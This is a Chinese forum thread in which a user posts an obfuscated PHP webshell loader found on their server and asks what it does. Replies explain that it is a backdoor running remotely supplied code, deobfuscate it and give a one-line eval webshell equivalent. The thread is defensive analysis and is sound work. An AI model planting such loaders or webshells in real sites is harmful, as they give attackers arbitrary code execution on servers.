php 脚本,帮忙分析下这是干了什么事,是个木马。
<?php
$password = "****";
error_reporting(E_ERROR | E_PARSE);@set_time_limit(0);
header("content-Type: text/html; charset=gb2312");
$filename='$password=\''.$password.'\';e'.'v'.'a'.'l(g'.'z'.'un'.'co'.'mp'.'re'.'ss(bas'.'e64_'.'deco'.'de(\'\')));';
$Base=Create_Function('',$filename);$Base();
?>
<?php
$password = "****";
error_reporting(E_ERROR | E_PARSE);@set_time_limit(0);
header("content-Type: text/html; charset=gb2312");
$filename='$password=\''.$password.'\';e'.'v'.'a'.'l(g'.'z'.'un'.'co'.'mp'.'re'.'ss(bas'.'e64_'.'deco'.'de(\'\')));';
$Base=Create_Function('',$filename);$Base();
?>
1
pannanxu 2023-09-25 10:09:57 +08:00
以下是通义千问的回答,我看着挺符合的。
这两段代码非常相似,都包含了以下操作: 设置错误报告级别为 E_ERROR 和 E_PARSE ,这意味着只有当出现致命错误或语法错误时,错误信息才会被显示。 设置脚本执行时间限制为无限制,这意味着脚本可以一直运行下去,直到被强制停止。 设置响应头,告诉浏览器返回的内容是文本/HTML 类型,字符集为 GB2312 。 定义了一个变量 $filename ,其值为一个字符串,其中包含了 PHP 的函数调用。这个函数调用使用了 eval 函数来执行,这个函数会执行字符串中的 PHP 代码。 使用 Create_Function 函数来创建一个匿名函数,这个函数没有参数,但是会执行 $filename 中定义的 PHP 代码。 调用这个匿名函数,从而执行了 $filename 中定义的 PHP 代码。 这个代码片段的目的是执行一个包含密码的字符串,这个字符串被编码为 base64 ,并且在 eval 函数中被解码。这个过程可能会导致安全问题,因为 eval 函数会执行任意的 PHP 代码,这可能会导致代码注入攻击。 |
2
x86 2023-09-25 10:12:39 +08:00
你这看都不用看来,写个小马让远程菜刀之类去连接了
|
3
yplam 2023-09-25 10:13:30 +08:00
base64_decode 里面应该还有内容吧,通常脚本语言执行代码不会留在你服务器上,而是留个后门实际执行代码调用时再 post 过来,你省略的那段 base64+gzip 大概率就是获取某 post 字段
|
4
lshero 2023-09-25 10:13:56 +08:00
那一堆拼接的字符你都看到了 eval 了还能干啥事情,肯定是接受任意传入的文本生成一个匿名函数直接执行呗
|
5
MeteorCat 2023-09-25 11:57:22 +08:00 via Android
开 ssh ,让大哥来
|
6
rocksolid 2023-09-25 12:04:32 +08:00
留个入口,这玩意本身啥事也不做,但是通过这个啥事都能干
|
7
proxytoworld 2023-09-25 14:36:06 +08:00
就是传了个后门,能通过这个后门执行任意 PHP 代码,如果没有通信流量也就这样了,这只是一个小马
|
8
tabris17 2023-09-25 14:38:23 +08:00
不用看
基本就是类似于 <?php eval($_REQUEST['shellcode']); 这样的代码 |
9
brader 2023-09-25 15:08:24 +08:00
你和我之前提醒的一位同行一样,研究这份代码没有意义,你该研究的是你程序的哪个漏洞,让它成功把这个文件写进来的
|
10
flyqie 2023-09-25 15:38:27 +08:00
可读性美化后:
<?php $password = "****"; error_reporting(E_ERROR | E_PARSE); @set_time_limit(0); header("content-Type: text/html; charset=gb2312"); $filename = '$password=\'' . $password . '\';eval(gzuncompress(base64_decode(\'\')));'; $Base = Create_Function('', $filename); $Base(); 实际代码: <?php $password = "****"; error_reporting(E_ERROR | E_PARSE); @set_time_limit(0); header("content-Type: text/html; charset=gb2312"); eval(gzuncompress(base64_decode(''))); |
11
Paulownia 2023-09-25 16:35:43 +08:00
通过 eval 执行函数,基本上啥都可以干,执行命令,写入文件,读取文件之类的。
|
12
582033 2023-09-25 17:12:53 +08:00
小马
|